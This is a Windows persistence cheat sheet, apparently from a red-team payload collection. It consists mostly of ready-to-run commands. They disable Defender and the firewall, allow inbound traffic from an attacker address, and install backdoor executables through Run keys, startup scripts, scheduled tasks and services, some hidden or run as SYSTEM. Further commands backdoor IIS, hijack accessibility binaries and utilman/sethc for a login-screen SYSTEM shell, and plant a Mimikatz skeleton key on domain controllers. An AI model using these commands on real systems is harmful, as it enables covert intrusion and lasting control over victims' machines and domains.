## Tools
|
||
|
||
- [SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r](https://github.com/fireeye/SharPersist)
|
||
|
||
## Disable Windows Defender
|
||
|
||
```powershell
|
||
sc config WinDefend start= disabled
|
||
sc stop WinDefend
|
||
Set-MpPreference -DisableRealtimeMonitoring $true
|
||
```
|
||
|
||
## Disable Windows Firewall
|
||
|
||
```powershell
|
||
Netsh Advfirewall show allprofiles
|
||
NetSh Advfirewall set allprofiles state off
|
||
|
||
# ip whitelisting
|
||
New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP
|
||
```
|
||
|
||
## Userland
|
||
|
||
Set a file as hidden
|
||
|
||
```powershell
|
||
attrib +h c:\autoexec.bat
|
||
```
|
||
|
||
### Registry
|
||
|
||
Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows.
|
||
|
||
```powershell
|
||
Value name: Backdoor
|
||
Value data: C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
|
||
```
|
||
|
||
Using SharPersist
|
||
|
||
```powershell
|
||
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
|
||
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
|
||
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
|
||
```
|
||
|
||
### Startup
|
||
|
||
Create a batch script in the user startup folder.
|
||
|
||
```powershell
|
||
PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.bat
|
||
start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
|
||
```
|
||
|
||
Using SharPersist
|
||
|
||
```powershell
|
||
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
|
||
```
|
||
|
||
### Scheduled Task
|
||
|
||
```powershell
|
||
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"
|
||
PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
|
||
PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"
|
||
PS C:\> $S = New-ScheduledTaskSettingsSet
|
||
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
|
||
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
|
||
```
|
||
|
||
Using SharPersist
|
||
|
||
```powershell
|
||
# Add to a current scheduled task
|
||
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
|
||
|
||
# Add new task
|
||
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
|
||
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
|
||
```
|
||
|
||
## Serviceland
|
||
|
||
### IIS
|
||
|
||
IIS Raid – Backdooring IIS Using Native Modules
|
||
|
||
```powershell
|
||
$ git clone https://github.com/0x09AL/IIS-Raid
|
||
$ python iis_controller.py --url http://192.168.1.11/ --password SIMPLEPASS
|
||
C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:Module Name /image:"%windir%\System32\inetsrv\IIS-Backdoor.dll" /add:true
|
||
```
|
||
|
||
### Windows Service
|
||
|
||
Using SharPersist
|
||
|
||
```powershell
|
||
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
|
||
```
|
||
|
||
## Elevated
|
||
|
||
### HKLM
|
||
|
||
Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows.
|
||
|
||
```powershell
|
||
Value name: Backdoor
|
||
Value data: C:\Windows\Temp\backdoor.exe
|
||
```
|
||
|
||
### Services
|
||
|
||
Create a service that will start automatically or on-demand.
|
||
|
||
```powershell
|
||
PS C:\> New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here."
|
||
```
|
||
|
||
### Scheduled Tasks
|
||
|
||
Scheduled Task to run as SYSTEM, everyday at 9am.
|
||
|
||
```powershell
|
||
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Windows\Temp\backdoor.exe"
|
||
PS C:\> $T = New-ScheduledTaskTrigger -Daily -At 9am
|
||
PS C:\> $P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
|
||
PS C:\> $S = New-ScheduledTaskSettingsSet
|
||
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
|
||
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
|
||
```
|
||
|
||
### Binary Replacement
|
||
|
||
#### Binary Replacement on Windows XP+
|
||
|
||
| Feature | Executable |
|
||
|---------------------|---------------------------------------|
|
||
| Sticky Keys | C:\Windows\System32\sethc.exe |
|
||
| Accessibility Menu | C:\Windows\System32\utilman.exe |
|
||
| On-Screen Keyboard | C:\Windows\System32\osk.exe |
|
||
| Magnifier | C:\Windows\System32\Magnify.exe |
|
||
| Narrator | C:\Windows\System32\Narrator.exe |
|
||
| Display Switcher | C:\Windows\System32\DisplaySwitch.exe |
|
||
| App Switcher | C:\Windows\System32\AtBroker.exe |
|
||
|
||
#### Binary Replacement on Windows 10+
|
||
|
||
Exploit a DLL hijacking vulnerability in the On-Screen Keyboard **osk.exe** executable.
|
||
|
||
Create a malicious **HID.dll** in `C:\Program Files\Common Files\microsoft shared\ink\HID.dll`.
|
||
|
||
|
||
### RDP Backdoor
|
||
|
||
#### utilman.exe
|
||
|
||
At the login screen, press Windows Key+U, and you get a cmd.exe window as SYSTEM.
|
||
|
||
```powershell
|
||
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
|
||
```
|
||
|
||
#### sethc.exe
|
||
|
||
Hit F5 a bunch of times when you are at the RDP login screen.
|
||
|
||
```powershell
|
||
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
|
||
```
|
||
|
||
### Skeleton Key
|
||
|
||
```powershell
|
||
# Exploitation Command runned as DA:
|
||
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DCs FQDN>
|
||
|
||
# Access using the password "mimikatz"
|
||
Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administrator
|
||
```
